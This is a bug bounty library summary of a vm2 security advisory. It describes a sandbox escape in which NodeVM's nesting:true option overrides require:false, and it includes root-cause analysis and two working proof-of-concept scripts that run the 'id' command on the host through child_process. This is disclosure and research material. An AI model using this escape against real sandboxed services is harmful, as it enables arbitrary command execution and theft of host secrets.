# vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution

vm2 NodeVM with nesting:true injects vm2 into the sandbox even under require:false, letting untrusted code build an unrestricted inner NodeVM and run OS commands.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: akshatgit
- Disclosed: 2026-05-07
- CVE: CVE-2026-44007
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8hg8-63c5-gwmx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8hg8-63c5-gwmx
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:rce vuln:sandbox-escape

**Target:** NodeVM sandbox module resolver (npm library)
**Root cause:** makeResolverFromLegacyOptions returns DENY_RESOLVER only when both options and override are falsy; with nesting:true the NESTING_OVERRIDE is always merged into builtins, so require('vm2') succeeds despite require:false or narrow allowlists.
**Steps:**
1. Create `new NodeVM({ nesting: true, require: false })`.
2. Inside sandbox call `require('vm2')` — succeeds because NESTING_OVERRIDE injects vm2 into builtins.
3. Instantiate inner `new NVM({ require: { builtin: ['child_process'] } })` with attacker-chosen require config.
4. Run `require("child_process").execSync("id")` in the inner VM to execute host OS commands.
**How found:** Code review of the legacy resolver path: noticed makeResolverFromLegacyOptions only denies when both options and override are absent, and that NESTING_OVERRIDE is merged unconditionally into builtins, contradicting the documented require:false lockdown.
**Exploitation:** Attacker supplies code to a host that runs untrusted code in a NodeVM with nesting:true; the sandbox requires vm2, spawns an inner NodeVM with unrestricted builtins, and executes arbitrary OS commands as the host process user, enabling file access, secret exfiltration and lateral movement.
**Escalation:** Inner NodeVM is unconstrained by the outer VM's require settings, so any builtin including child_process becomes reachable.
**Insight:** When a library has a 'deny all' sentinel (DENY_RESOLVER), check every branch that can bypass it — here a feature flag (nesting) supplied an override that flipped the falsy-options branch from deny to allow; also check whether the injected override is merged after user allowlists.

## Proof of concept (copied exactly from the original report)

**NodeVM nesting bypass PoC executing id**

```
const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(`
  // Step 1: require('vm2') succeeds despite require:false on the outer VM
  const { NodeVM: NVM } = require('vm2');

  // Step 2: create an inner NodeVM with attacker-chosen require config
  // This inner VM has no relation to the outer VM's restrictions
  const inner = new NVM({ require: { builtin: ['child_process'] } });

  // Step 3: execute arbitrary OS command in the inner VM
  module.exports = inner.run(
    'module.exports = require("child_process").execSync("id").toString()'
  );
`);

console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
```

**require:false variant PoC**

```
new NodeVM({ nesting: true, require: false }).run(`
  const { NodeVM: NVM } = require('vm2');
  module.exports = new NVM({ require: { builtin: ['child_process'] } })
    .run('module.exports = require("child_process").execSync("id").toString()');
`);
```

